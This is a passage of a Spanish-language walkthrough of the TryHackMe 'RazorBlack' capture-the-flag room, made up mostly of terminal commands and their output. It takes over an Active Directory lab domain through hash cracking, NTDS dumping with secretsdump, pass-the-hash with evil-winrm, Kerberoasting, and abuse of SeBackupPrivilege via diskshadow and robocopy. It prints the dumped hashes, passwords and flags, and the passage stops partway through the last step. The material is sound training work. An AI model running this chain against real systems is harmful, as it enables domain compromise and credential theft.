Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
electromagnetismo (experiment_gone_wrong.zip)
1g 0:00:00:00 DONE (2025-06-01 02:40) 1.123g/s 9416Kp/s 9416Kc/s 9416KC/s eleed2649..elboty2009
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Y de esta forma obtenemos el password del .zip ahora vamos a extraer su contenido
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# unzip -P electromagnetismo experiment_gone_wrong.zip
Archive: experiment_gone_wrong.zip
inflating: system.hive
inflating: ntds.dit
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# ls
chat_log_20210222143423.txt
experiment_gone_wrong.zip
hash.txt
ntds.dit
system.hive
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# impacket-secretsdump -system system.hive -ntds ntds.dit LOCAL > hashes_dump.txt
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# grep -E '^[^:]+:[0-9]+:[a-f0-9]{32}:[a-f0-9]{32}' hashes_dump.txt | cut -d':' -f4 > ntlm_hashes_clean.txt
Nota: al archivo hashes_dump.txt
le tenemos que aplicar una edición de formato para poder dejar solamente el hash ntlm limpio y usarlo luego con crackmapexec.
Pass the hash con EvilWinRM
Una vez que volcamos los hashes ntlm a un archivo, tenemos que identificar algún usuario de la lista users_enum.txt
que haga match con alguno de los hashes y para encontrarlo vamos a usar nxc. La única forma de hacer esto es ir agregando usuario por usuario en la línea de comando hasta encontrar el match, en este caso como no son muchos usuarios no hay problema, pero sino lo mejor es construir un script para automatizar este trabajo.
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# cat users_enum.txt
Administrator
Guest
HAVEN-DC$
krbtgt
lvetrova
sbradley
twilliams
xyan1d3
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# nxc smb 10.10.18.112 -u lvetrova -H ntlm_hashes_clean.txt | grep '\[+\]'
SMB 10.10.18.112 445 HAVEN-DC [+] raz0rblack.thm\lvetrova:f220d3988deb3f516c73f40ee16c431d
Y ahora si podemos aplicar el pass the hash de la siguiente manera:
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# evil-winrm -u lvetrova -H f220d3988deb3f516c73f40ee16c431d -i 10.10.18.112
Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\lvetrova\Documents> cd ..
*Evil-WinRM* PS C:\Users\lvetrova> dir
Directory: C:\Users\lvetrova
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 9/15/2018 12:19 AM Desktop
d-r--- 2/25/2021 10:14 AM Documents
d-r--- 9/15/2018 12:19 AM Downloads
d-r--- 9/15/2018 12:19 AM Favorites
d-r--- 9/15/2018 12:19 AM Links
d-r--- 9/15/2018 12:19 AM Music
d-r--- 9/15/2018 12:19 AM Pictures
d----- 9/15/2018 12:19 AM Saved Games
d-r--- 9/15/2018 12:19 AM Videos
-a---- 2/25/2021 10:16 AM 1692 lvetrova.xml
*Evil-WinRM* PS C:\Users\lvetrova> download lvetrova.xml
Info: Downloading C:\Users\lvetrova\lvetrova.xml to lvetrova.xml
Info: Download successful!
Credential Harvesting
Encontramos el recurso lvetrova.xml
, y si lo inspeccionamos vamos a encontrar lo siguiente:
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# cat lvetrova.xml
��<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">Your Flag is here =></S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009db56a0543f441469fc81aadb02945d20000000002000000000003660000c000000010000000069a026f82c590fa867556fe4495ca870000000004800000a0000000100000003b5bf64299ad06afde3fc9d6efe72d35500000002828ad79f53f3f38ceb3d8a8c41179a54dc94cab7b17ba52d0b9fc62dfd4a205f2bba2688e8e67e5cbc6d6584496d107b4307469b95eb3fdfd855abe27334a5fe32a8b35a3a0b6424081e14dc387902414000000e6e36273726b3c093bbbb4e976392a874772576d</SS>
</Props>
</Obj>
</Objs>
Lo que encontramos es un archivo .xml
que contiene un objeto serializado de PowerShell del tipo System.Management.Automation.PSCredential
. Este tipo de objeto suele usarse para almacenar credenciales seguras (usuario + contraseña) en scripts de PowerShell, y es probable que el archivo contenga una contraseña cifrada en formato SecureString
. Vamos a desglosarlo:
<S N="UserName">Your Flag is here =></S>
→ este es el campo del nombre de usuario. En este caso parece indicarnos una pista: el valor real del flag estaría en el campo de contraseña.<SS N="Password">...cadena larga...</SS>
→ este campo representa una contraseña cifrada usando el métodoConvertFrom-SecureString
de PowerShell. Esta cadena no se puede descifrar directamente sin el perfil de usuario que la cifró originalmente, ya que está protegida usando el DPAPI (Data Protection API) de Windows
Sin embargo al poseer la sesión del usuario que creó este archivo podemos usar el siguiente script de PowerShell para revertirlo y obtener la contraseña en texto plano
$cred = Import-Clixml -Path "C:\Users\lvetrova\Documents\lvetrova.xml"
$cred.GetNetworkCredential().Password
Esto nos imprime la contraseña desencriptada, porque el sistema tiene acceso al DPAPI necesario para descifrar el SecureString
.
$cred = Import-Clixml -Path "C:\Users\lvetrova\Documents\lvetrova.xml"
Import-Clixml
→ es un cmdlet que lee un archivo XML serializado por PowerShell (generalmente conExport-Clixml
) y reconstruye el objeto original.-Path
→ especifica la ruta al archivo.xml
que contiene el objeto a importar.
Resultado: este comando importa y recrea en la variable $cred
un objeto del tipo PSCredential
que incluye el nombre de usuario y la contraseña (codificada como SecureString
).
$cred.GetNetworkCredential().Password
$cred
→ hace referencia al objetoPSCredential
importado..GetNetworkCredential()
→ convierte el objetoSecureString
de PowerShell a un objeto más accesible del tipoNetworkCredential
..Password
→ accede directamente al campo de texto plano (string
) de la contraseña.
Nota: si quieres aprender más sobre cómo funcionan las SecureString
y las PSCredentials
te recomiendo el siguiente artículo:
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# evil-winrm -u lvetrova -H f220d3988deb3f516c73f40ee16c431d -i 10.10.18.112
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\lvetrova\Documents> cd ..
*Evil-WinRM* PS C:\Users\lvetrova> $cred = Import-Clixml -Path "C:\Users\lvetrova\lvetrova.xml"
*Evil-WinRM* PS C:\Users\lvetrova> $cred.GetNetworkCredential().Password
THM{694362e877adef0d85a92e6d17551fe4}
Kerberoasting con impacket-GetUserSPNs
Kerberoasting es una técnica que permite obtener la contraseña en texto claro de un usuario de dominio con un SPN asociado, sin necesidad de privilegios elevados. Siempre que obtenemos el hash ntlm de un usuario del dominio del ad podemos implementar este tipo de ataques con scripts de la suite de impacket. En este caso voy a usar impacket-GetUserSPNs.py para enumerar los Service Principal Names (SPNs) asociados a cuentas de usuario. Cuando usamos este script lo que ocurre es que el Kerberos responde con un ticket de servicio (TGS) perteneciente a algún otro usuario del dominio que mantiene un SPN registrado. Luego este ticket lo almacenamos en un archivo para descifrar la contraseña con John the Ripper
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# impacket-GetUserSPNs -request -dc-ip 10.10.18.112 raz0rblack.thm/lvetrova -hashes aad3b435b51404eeaad3b435b51404ee:f220d3988deb3f516c73f40ee16c431d -outputfile kerberoast
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
------------------------------------- ------- ---------------------------------------------------------- -------------------------- --------- ----------
HAVEN-DC/xyan1d3.raz0rblack.thm:60111 xyan1d3 CN=Remote Management Users,CN=Builtin,DC=raz0rblack,DC=thm 2021-02-23 10:17:17.715160 <never>
[-] CCache file is not found. Skipping...
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# john kerberoast -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
cyanide9amine5628 (?)
1g 0:00:00:06 DONE (2025-06-03 00:24) 0.1550g/s 1374Kp/s 1374Kc/s 1374KC/s cybaster..cy2802341
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Una vez que obtuvimos las nueva credenciales vamos a chequear a qué servicios nos permiten acceder para realizar nuestro próximo movimiento
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# service_validation.sh raz0rblack.thm xyan1d3 'cyanide9amine5628'
[*] Probando credenciales contra raz0rblack.thm con usuario 'xyan1d3'...
--- Probando smb ---
SMB 10.10.18.112 445 HAVEN-DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:HAVEN-DC) (domain:raz0rblack.thm) (signing:True) (SMBv1:False)
SMB 10.10.18.112 445 HAVEN-DC [+] raz0rblack.thm\xyan1d3:cyanide9amine5628
--- Probando ldap ---
SMB 10.10.18.112 445 HAVEN-DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:HAVEN-DC) (domain:raz0rblack.thm) (signing:True) (SMBv1:False)
LDAP 10.10.18.112 389 HAVEN-DC [+] raz0rblack.thm\xyan1d3:cyanide9amine5628 (Pwn3d!)
--- Probando winrm ---
WINRM 10.10.18.112 5985 HAVEN-DC [*] Windows 10 / Server 2019 Build 17763 (name:HAVEN-DC) (domain:raz0rblack.thm)
WINRM 10.10.18.112 5985 HAVEN-DC [+] raz0rblack.thm\xyan1d3:cyanide9amine5628 (Pwn3d!)
--- Probando rdp ---
RDP 10.10.18.112 3389 HAVEN-DC [*] Windows 10 or Windows Server 2016 Build 17763 (name:HAVEN-DC) (domain:raz0rblack.thm) (nla:True)
RDP 10.10.18.112 3389 HAVEN-DC [+] raz0rblack.thm\xyan1d3:cyanide9amine5628
--- Probando mssql ---
--- Probando wmi ---
RPC 10.10.18.112 135 HAVEN-DC [*] Windows 10 / Server 2019 Build 17763 (name:HAVEN-DC) (domain:raz0rblack.thm)
RPC 10.10.18.112 135 HAVEN-DC [+] raz0rblack.thm\xyan1d3:cyanide9amine5628
--- Probando ftp ---
--- Probando ssh ---
Credential Harvesting
Los resultados de la validación de servicios nos indica que podemos acceder al winrm con estas credenciales, asique lo que haremos será establecer una conexión remota con EvilWinRM
Explorando el directorio personal del usuario xyan1d3
, vamos a encontrar un archivo de nombre xyan1d3.xml
. Al ver su contenido con type
, vamos a ver un objeto serializado de PowerShell del tipo PSCredential
, con datos cifrados utilizando el cmdlet Export-Clixml
al igual que nos pasó con el usuario lvetrova
. Entonces para descifrar este mensaje vamos a utilizar los mismos comandos que usamos con lvetrova
:
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# evil-winrm -u xyan1d3 -p cyanide9amine5628 -i 10.10.18.112
Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\xyan1d3\Documents> cd ..
*Evil-WinRM* PS C:\Users\xyan1d3> dir
Directory: C:\Users\xyan1d3
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 9/15/2018 12:19 AM Desktop
d-r--- 2/25/2021 9:34 AM Documents
d-r--- 9/15/2018 12:19 AM Downloads
d-r--- 9/15/2018 12:19 AM Favorites
d-r--- 9/15/2018 12:19 AM Links
d-r--- 9/15/2018 12:19 AM Music
d-r--- 9/15/2018 12:19 AM Pictures
d----- 9/15/2018 12:19 AM Saved Games
d-r--- 9/15/2018 12:19 AM Videos
-a---- 2/25/2021 9:33 AM 1826 xyan1d3.xml
*Evil-WinRM* PS C:\Users\xyan1d3> type xyan1d3.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">Nope your flag is not here</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000006bc3424112257a48aa7937963e14ed790000000002000000000003660000c000000010000000f098beb903e1a489eed98b779f3c70b80000000004800000a000000010000000e59705c44a560ce4c53e837d111bb39970000000feda9c94c6cd1687ffded5f438c59b080362e7e2fe0d9be8d2ab96ec7895303d167d5b38ce255ac6c01d7ac510ef662e48c53d3c89645053599c00d9e8a15598e8109d23a91a8663f886de1ba405806944f3f7e7df84091af0c73a4effac97ad05a3d6822cdeb06d4f415ba19587574f1400000051021e80fd5264d9730df52d2567cd7285726da2</SS>
</Props>
</Obj>
</Objs>
*Evil-WinRM* PS C:\Users\xyan1d3> $cred = Import-Clixml -Path "C:\Users\xyan1d3\xyan1d3.xml"
*Evil-WinRM* PS C:\Users\xyan1d3> $cred.GetNetworkCredential().Password
LOL here it is -> THM{62ca7e0b901aa8f0b233cade0839b5bb}
Bingo! ( ͡• ͜ʖ ͡•)
El siguiente movimiento es recolectar información sobre los grupos y los permisos del usuario xyan1d3
en el sistema
*Evil-WinRM* PS C:\Users\xyan1d3\Documents> net user
User accounts for \\
-------------------------------------------------------------------------------
Administrator Guest krbtgt
lvetrova sbradley twilliams
xyan1d3
The command completed with one or more errors.
*Evil-WinRM* PS C:\Users\xyan1d3\Documents> whoami /all
USER INFORMATION
----------------
User Name SID
================== ============================================
raz0rblack\xyan1d3 S-1-5-21-3403444377-2687699443-13012745-1106
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators Alias S-1-5-32-551 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
En PRIVILEGES INFORMATION
vamos a encontrar el permiso SeBackupPrivilege
habilitado y en GROUP INFORMATION
vamos a ver que el usuario pertenece al grupo BUILTIN\Backup Operators
¿Qué significa todo esto?
El grupo BUILTIN\Backup Operators es un grupo local predefinido en sistemas Windows. Los miembros de este grupo reciben automáticamente los privilegios:
SeBackupPrivilege (copiar archivos en modo backup)
SeRestorePrivilege (restaurar archivos con privilegios elevados)
Este grupo existe para permitir que usuarios no administradores realicen tareas de respaldo y restauración de datos críticos
Por otra parte el SeBackupPrivilege es un derecho de usuario que permite leer cualquier archivo del sistema, sin importar las listas de control de acceso (ACLs) que normalmente restringirían el acceso. Este privilegio está diseñado para que las cuentas de respaldo (como operadores de copia de seguridad) puedan realizar tareas de respaldo completas, incluso si no tienen permisos explícitos sobre cada archivo o carpeta. Un usuario con este privilegio puede copiar archivos como ntds.dit
, SAM
, o SYSTEM
sin ser administrador.
En esta etapa voy a desarrollar dos formas de obtener las credenciales NTLM del usuario Administrator, la primera es con utilidades nativas de los sistemas windows (diskshadow y robocopy) y la segunda es utilizando impacket-reg, esta última es la más rápida y fácil de replicar.
El procedimiento que vamos a seguir para la obtención de credenciales de dominio a partir de Volume Shadow Copy es el siguiente:
En el directorio raíz vamos a crear el directorio
/temp
donde volcaremos las copias de los archivosntds.dit
ySYSTEM
Subimos al directorio
/temp
el archivo de configuración (script) llamadodiskshad0w.dsh
, el cual contiene las instrucciones para la utilidaddiskshadow
Copiar el disco del sistema (volumen C:): ejecutamos el comando
diskshadow /s diskshad0w.dsh
, para generar una copia sombra del volumen C: del sistema. Esto se logra utilizando la funcionalidad Volume Shadow Copy Service (servicio de copias sombra) de Windows, la cual está diseñada para realizar respaldos coherentes de archivos en uso. A través del alias definido en el script (diskshad0w
), la copia sombra se expone como una unidad lógica (Z:\
), lo que permite su navegación y lectura.Copiar el
ntds.dit
: utilizamos la utilidadrobocopy
con el parámetro/b
, para copiar archivos en modo de respaldo, ignorando las restricciones de ACL. De esta forma, accede az:\windows\ntds\ntds.dit
y lo copia exitosamente al directorioC:\temp
.Copiar el SYSTEM: guardamos una copia del archivo de registro del sistema (
HKLM\SYSTEM
) con el comandoreg save hklm\system SYSTEM
Descargamos los archivos
ntds.dit
ySYSTEM
en el kali para extraer los hashes con impacket-secretsdump
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# unix2dos diskshad0w.dsh
unix2dos: converting file diskshad0w to DOS format...
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# cat diskshad0w.dsh
set context persistent nowriters
add volume c: alias diskshad0w
create
expose %diskshad0w% z:
Nota: la tool unix2dos
convierte los finales de línea del archivo de formato UNIX () a formato DOS/Windows (\r
). Esto es necesario porque los intérpretes de comandos en Windows pueden fallar al procesar archivos que no estén en el formato de fin de línea correcto. Por otro lado, el término "copia sombra" (shadow copy) se refiere a una instantánea del estado de un volumen de disco en un momento específico del tiempo. En sistemas Windows, esta funcionalidad es provista por el Volume Shadow Copy Service (VSS).
Si te interesa aprender más sobre esta técnica te recomiendo que leas los siguientes artículos:
*Evil-WinRM* PS C:\Users\xyan1d3\Documents> cd /
*Evil-WinRM* PS C:\> mkdir C:\temp
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/2/2025 10:30 PM temp
*Evil-WinRM* PS C:\> cd temp
*Evil-WinRM* PS C:\temp> upload /home/kali/Documents/THM/RAZORBLACK/diskshad0w.dsh
Info: Uploading /home/kali/Documents/THM/RAZORBLACK/diskshad0w.dsh to C:\temp\diskshad0w.dsh
Progress: 100% : |▓▓▓▓▓▓▓▓▓▒|
Info: Download successful!
Data: 120 bytes of 120 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\temp> diskshadow /s diskshad0w.dsh
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: HAVEN-DC, 6/3/2025 2:43:31 PM
-> set context persistent nowriters
-> add volume c: alias diskshad0w
-> create
Alias diskshad0w for shadow ID {5d996629-f227-48b0-b2ae-e7667cf2bed5} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {148113ce-c9b6-475f-83c3-b37b0895c44e} set as environment variable.
Querying all shadow copies with the shadow copy set ID {148113ce-c9b6-475f-83c3-b37b0895c44e}
* Shadow copy ID = {5d996629-f227-48b0-b2ae-e7667cf2bed5} %diskshad0w%
- Shadow copy set: {148113ce-c9b6-475f-83c3-b37b0895c44e} %VSS_SHADOW_SET%
- Original count of shadow copies = 1
- Original volume name: \\?\Volume{115c1f55-0000-0000-0000-602200000000}\ [C:\]
- Creation time: 6/3/2025 2:43:35 PM
- Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2
- Originating machine: HAVEN-DC.raz0rblack.thm
- Service machine: HAVEN-DC.raz0rblack.thm
- Not exposed
- Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
- Attributes: No_Auto_Release Persistent No_Writers Differential
Number of shadow copies listed: 1
-> expose %diskshad0w% z:
-> %diskshad0w% = {5d996629-f227-48b0-b2ae-e7667cf2bed5}
-> The shadow copy was successfully exposed as z:\.
*Evil-WinRM* PS C:\temp> robocopy /b z:\windows\ntds . ntds.dit
-------------------------------------------------------------------------------
ROBOCOPY :: Robust File Copy for Windows
-------------------------------------------------------------------------------
Started : Tuesday, June 3, 2025 2:43:51 PM
Source : z:\windows\ntds\
Dest : C:\temp\
Files : ntds.dit
Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30
------------------------------------------------------------------------------
1 z:\windows\ntds\
New File 16.0 m ntds.dit
100%
------------------------------------------------------------------------------
Total Copied Skipped Mismatch FAILED Extras
Dirs : 1 0 1 0 0 0
Files : 1 1 0 0 0 0
Bytes : 16.00 m 16.00 m 0 0 0 0
Times : 0:00:00 0:00:00 0:00:00 0:00:00
Speed : 19531101 Bytes/sec.
Speed : 1117.578 MegaBytes/min.
Ended : Tuesday, June 3, 2025 2:43:52 PM
*Evil-WinRM* PS C:\temp> reg save hklm\system SYSTEM
The operation completed successfully.
*Evil-WinRM* PS C:\temp> dir
Directory: C:\temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/3/2025 2:28 PM 615 2025-06-03_14-28-02_HAVEN-DC.cab
-a---- 6/3/2025 2:43 PM 623 2025-06-03_14-43-36_HAVEN-DC.cab
-a---- 6/3/2025 2:43 PM 98 diskshad0w.dsh
-a---- 6/3/2025 2:19 PM 16777216 ntds.dit
-a---- 6/3/2025 2:44 PM 17215488 SYSTEM
*Evil-WinRM* PS C:\temp> download SYSTEM
Info: Downloading C:\temp\SYSTEM to SYSTEM
Progress: 100% : |▓▓▓▓▓▓▓▓▓▒|
Info: Download successful!
*Evil-WinRM* PS C:\temp> download ntds.dit
Info: Downloading C:\temp\ntds.dit to ntds.dit
Progress: 69% : |▓▓▓▓▓▒░░░░|
Extracción de hashes NTLM con impacket-secretsdump
Una vez que ya tenemos los archivos SYSTEM
y ntds.dit
podemos extraer los hashes con impacket-secretsdump
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0xf1582a79dd00631b701d3d15e75e59f6
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: f6162bb347993035d66a15417d73a667
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9689931bed40ca5a2ce1218210177f0c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HAVEN-DC$:1000:aad3b435b51404eeaad3b435b51404ee:c7e0bf27c637789e2b64a39e103a8a66:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fa3c456268854a917bd17184c85b4fd1:::
raz0rblack.thm\xyan1d3:1106:aad3b435b51404eeaad3b435b51404ee:bf11a3cbefb46f7194da2fa190834025:::
raz0rblack.thm\lvetrova:1107:aad3b435b51404eeaad3b435b51404ee:f220d3988deb3f516c73f40ee16c431d:::
raz0rblack.thm\sbradley:1108:aad3b435b51404eeaad3b435b51404ee:351c839c5e02d1ed0134a383b628426e:::
raz0rblack.thm\twilliams:1109:aad3b435b51404eeaad3b435b51404ee:351c839c5e02d1ed0134a383b628426e:::
[*] Kerberos keys from ntds.dit
Administrator:aes256-cts-hmac-sha1-96:ab77c0dd6f5a28b63c4ae5f0eb89ad48f3ed43d52dc42f1dca2e99d8fc9cdbbf
Administrator:aes128-cts-hmac-sha1-96:81a749369e929b7f1731489b12a49df8
Administrator:des-cbc-md5:d3b646b65bceb5c7
HAVEN-DC$:aes256-cts-hmac-sha1-96:b44c9d4f9b08760cd0c868363e690e9d8b3a2ad842f6b05891ebfa809359edc4
HAVEN-DC$:aes128-cts-hmac-sha1-96:f7c4dee072f979e0b8c80ebfa98513fa
HAVEN-DC$:des-cbc-md5:d349101ace0220e5
krbtgt:aes256-cts-hmac-sha1-96:eed4acbdf1b6cc2b3c1aef992a8cea74d8b0c4ad5b4deecf47c57c4d9465caf5
krbtgt:aes128-cts-hmac-sha1-96:3dbbd202aa0343d1b8df99785d2befbb
krbtgt:des-cbc-md5:857a46f13e91eae3
raz0rblack.thm\xyan1d3:aes256-cts-hmac-sha1-96:6de380d21ae165f55e7520ee3c4a81417bf6a25b17f72ce119083846d89a031f
raz0rblack.thm\xyan1d3:aes128-cts-hmac-sha1-96:9f5a0114b2c18ea63a32a1b8553d4f61
raz0rblack.thm\xyan1d3:des-cbc-md5:e9a1a46223cd8975
raz0rblack.thm\lvetrova:aes256-cts-hmac-sha1-96:3809e38e24ecb746dc0d98e2b95f39fc157de38a9081b3973db5be4c25d5ad39
raz0rblack.thm\lvetrova:aes128-cts-hmac-sha1-96:3676941361afe1800b8ab5d5a15bd839
raz0rblack.thm\lvetrova:des-cbc-md5:385d6e1f1cc17fb6
raz0rblack.thm\sbradley:aes256-cts-hmac-sha1-96:ddd43169c2235d3d2134fdb2ff4182abdb029a20724e679189a755014e68bab5
raz0rblack.thm\sbradley:aes128-cts-hmac-sha1-96:7cdf6640a975c86298b9f48000047580
raz0rblack.thm\sbradley:des-cbc-md5:83fe3e584f4a5bf8
raz0rblack.thm\twilliams:aes256-cts-hmac-sha1-96:05bac51a4b8888a484e0fa1400d8f507b195c4367198024c6806d8eb401cb559
raz0rblack.thm\twilliams:aes128-cts-hmac-sha1-96:a37656829f443e3fe2630aa69af5cb5a
raz0rblack.thm\twilliams:des-cbc-md5:01e958b0ea6edf07
[*] Cleaning up...
Pass the hash con EvilWinRM para el usuario administrator
Por último nos conectamos con las credenciales del usuario Administrador y extraemos su flag
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# evil-winrm -i raz0rblack.thm -u administrator -H 9689931bed40ca5a2ce1218210177f0c
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> dir
Directory: C:\Users\Administrator
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 5/21/2021 9:45 AM 3D Objects
d-r--- 5/21/2021 9:45 AM Contacts
d-r--- 5/21/2021 9:45 AM Desktop
d-r--- 5/21/2021 9:45 AM Documents
d-r--- 5/21/2021 9:45 AM Downloads
d-r--- 5/21/2021 9:45 AM Favorites
d-r--- 5/21/2021 9:45 AM Links
d-r--- 5/21/2021 9:45 AM Music
d-r--- 5/21/2021 9:45 AM Pictures
d-r--- 5/21/2021 9:45 AM Saved Games
d-r--- 5/21/2021 9:45 AM Searches
d-r--- 5/21/2021 9:45 AM Videos
-a---- 2/25/2021 1:08 PM 290 cookie.json
-a---- 2/25/2021 1:12 PM 2512 root.xml
*Evil-WinRM* PS C:\Users\Administrator> type root.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">Administrator</S>
<SS N="Password">44616d6e20796f752061726520612067656e6975732e0a4275742c20492061706f6c6f67697a6520666f72206368656174696e6720796f75206c696b6520746869732e0a0a4865726520697320796f757220526f6f7420466c61670a54484d7b31623466343663633466626134363334383237336431386463393164613230647d0a0a546167206d65206f6e2068747470733a2f2f747769747465722e636f6d2f5879616e3164332061626f75742077686174207061727420796f7520656e6a6f796564206f6e207468697320626f7820616e642077686174207061727420796f75207374727567676c656420776974682e0a0a496620796f7520656e6a6f796564207468697320626f7820796f75206d617920616c736f2074616b652061206c6f6f6b20617420746865206c696e75786167656e637920726f6f6d20696e207472796861636b6d652e0a576869636820636f6e7461696e7320736f6d65206c696e75782066756e64616d656e74616c7320616e642070726976696c65676520657363616c6174696f6e2068747470733a2f2f7472796861636b6d652e636f6d2f726f6f6d2f6c696e75786167656e63792e0a</SS>
</Obj>
</Objs>
*Evil-WinRM* PS C:\Users\Administrator> $cred = Import-Clixml -Path "C:\Users\Administrator\root.xml"
The data is invalid.
La flag está cifrada en hexadecimal por lo que vamos a copiarla y descifrarla en la consola de kali con el siguiente comando:
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
